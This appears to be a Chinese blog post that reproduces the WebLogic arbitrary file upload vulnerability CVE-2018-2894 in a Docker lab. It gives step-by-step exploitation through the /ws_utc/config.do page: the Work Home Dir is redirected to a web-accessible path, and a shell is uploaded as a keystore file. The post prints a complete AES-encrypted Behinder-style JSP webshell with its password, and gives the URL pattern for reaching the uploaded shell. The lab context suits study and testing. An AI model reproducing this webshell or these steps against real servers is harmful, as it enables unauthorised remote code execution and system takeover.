Weblogic任意文件上传(CVE-2018-2894)的漏洞复现

Weblogic任意文件上传(CVE-2018-2894)的漏洞复现

漏洞形成原因

  • WebLogic管理端未授权的两个页面存在任意上传getshell漏洞,可直接获取权限。两个页面分别为/ws_utc/begin.do,/ws_utc/config.do。
  • ws_utc/config.do在开发模式下无需认证,在生产模式下需要认证。具体可见Oracle® Fusion Middleware Administering Web Services

漏洞如何利用

  • 1、访问靶机地址+端口号 + /console/login/LoginForm.jsp,进入登录界面,
  • 2、修改部分配置后,直接访问/ws_utc/config.do,找到登录界面上传一句话拿shell。

漏洞复现过程

  • Kali docker 容器中启动此漏洞环境
    在这里插入图片描述
  • 浏览器访问 Kali 的 ip 地址接上7001端口 和登录路径
http://172.16.2.174:7001/console/login/LoginForm.jsp

在这里插入图片描述

  • 进入 docker 环境漏洞目录,执行下列语句,查询登录账号和密码:
docker-compose logs | grep username	#查看登录账号
docker-compose logs | grep password	#查看登录密码

在这里插入图片描述

  • 登陆成功后,进入 base_domain 里面的 “高级” 选项
    在这里插入图片描述
  • 勾选上 启用 Web 服务测试页 后,拉到最下面保存
    在这里插入图片描述
  • 再访问 http://172.16.2.174:7001/ws_utc/config.do
  • 修改通用里面的 Work Home Dir 的值为:/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css 并提交。
    在这里插入图片描述
  • 再点击 安全 -> 添加,上传webshell一句话,并抓包得到 时间戳
  • 一句话木马如下,密码为 pass
<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if(request.getParameter("pass")!=null){String k=(""+UUID.randomUUID()).replace("-","").substring(16);session.putValue("u",k);out.print(k);return;}Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec((session.getValue("u")+"").getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);%>

在这里插入图片描述在这里插入图片描述

  • 返回安全界面,上传成功
    在这里插入图片描述
  • 访问:172.16.2.174:7001/ws_utc/css/config/keystore/时间戳_文件名,再上冰蝎
    在这里插入图片描述
  • 漏洞复现成功
    参考文章:https://www.cnblogs.com/bmjoker/p/9825497.html
    技术萌新,还请各位大牛多多指点!
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值